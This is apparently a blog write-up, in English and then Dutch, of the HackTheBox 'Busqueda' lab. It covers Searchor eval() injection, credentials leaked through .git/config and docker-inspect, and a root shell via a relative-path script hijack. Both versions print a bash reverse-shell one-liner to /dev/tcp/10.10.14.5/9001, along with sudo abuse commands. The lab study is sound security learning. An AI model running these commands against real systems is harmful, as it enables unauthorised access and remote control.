Busqueda
4 April 2026 4 april 2026
HackTheBox — Busqueda (Easy)
Recon
nmap -sC -sV -p- -oN busqueda_full.nmap 10.10.11.208
Just 22 and 80. Port 80 redirected to searcher.htb, so I added that to /etc/hosts first (forgot to, got a connection error, then remembered — the usual). The footer gave it away: Flask + Searchor 2.4.0. That version has a known Python code injection through eval() in the engine parameter.
Foothold
Searchor 2.4.0 builds the search and runs it through eval() without sanitising anything, so the engine parameter is just RCE. Set up a listener:
nc -lvnp 13337
Then sent a Python reverse shell in the engine field via Burp. Server returned 200 and the browser bounced to AccuWeather — that redirect is how you know eval() actually ran it. Shell as svc in /var/www/app.
Privesc
First thing in a webroot: check .git. /var/www/app/.git/config had a Gitea remote URL with creds baked into it:
http://cody:[REDACTED]@gitea.searcher.htb/cody/Searcher_site.git
Cody's password also worked for the administrator account on the internal Gitea (3000). Then sudo:
svc@busqueda:~$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *
system-checkup.py has docker-ps, docker-inspect and full-checkup. docker-inspect with a Go template dumps the gitea container's env:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
That leaked GITEA__database__PASSWD=[REDACTED] → into Gitea as administrator → the private repo with the system-checkup.py source. Reading it, full-checkup calls ./full-checkup.sh — a relative path. So whatever directory you run it from, it runs your file:
cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/9001 0>&1\n' > full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Root shell.
What I took away
The whole chain hinges on two lazy patterns: credentials living in a .git/config URL (always check that in a webroot), and a relative ./full-checkup.sh in a sudo-run script — that one line is the entire root. The docker-inspect step also stuck with me: anything that can read container env vars via sudo is effectively handing out every secret in them.
HackTheBox — Busqueda (Easy)
Recon
nmap -sC -sV -p- -oN busqueda_full.nmap 10.10.11.208
Alleen 22 en 80. Poort 80 redirecte naar searcher.htb, dus die eerst aan /etc/hosts toegevoegd (vergat het eerst, kreeg een connection error, toen pas door — het bekende verhaal). De footer verraadde het: Flask + Searchor 2.4.0. Die versie heeft een bekende Python code-injection via eval() in de engine-parameter.
Foothold
Searchor 2.4.0 bouwt de search en gooit die door eval() zonder iets te saniteren, dus de engine-parameter is gewoon RCE. Listener klaargezet:
nc -lvnp 13337
Toen een Python reverse shell in het engine-veld via Burp. Server gaf 200 en de browser sprong door naar AccuWeather — aan die redirect zie je dat eval() het echt heeft uitgevoerd. Shell als svc in /var/www/app.
Privesc
Eerste reflex in een webroot: check .git. In /var/www/app/.git/config stond een Gitea remote-URL met de creds er gewoon in:
http://cody:[REDACTED]@gitea.searcher.htb/cody/Searcher_site.git
Cody's wachtwoord werkte ook voor het administrator-account op de interne Gitea (3000). Toen sudo:
svc@busqueda:~$ sudo -l
(ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/scripts/system-checkup.py *
system-checkup.py heeft docker-ps, docker-inspect en full-checkup. docker-inspect met een Go-template dumpt de env van de gitea-container:
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq
Dat lekte GITEA__database__PASSWD=[REDACTED] → als administrator Gitea in → de private repo met de source van system-checkup.py. Daarin: full-checkup roept ./full-checkup.sh aan — een relatief pad. Dus vanuit welke map je het ook draait, het draait jouw bestand:
cd /tmp
printf '#!/bin/bash\nbash -i >& /dev/tcp/10.10.14.5/9001 0>&1\n' > full-checkup.sh
chmod +x full-checkup.sh
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
Root shell.
Wat ik eruit haalde
De hele keten leunt op twee luie patronen: credentials in een .git/config-URL (check dat altijd in een webroot), en een relatief ./full-checkup.sh in een sudo-script — die ene regel is de complete root. De docker-inspect-stap bleef ook hangen: alles wat via sudo container-env mag lezen, geeft daarmee elk secret daarin weg.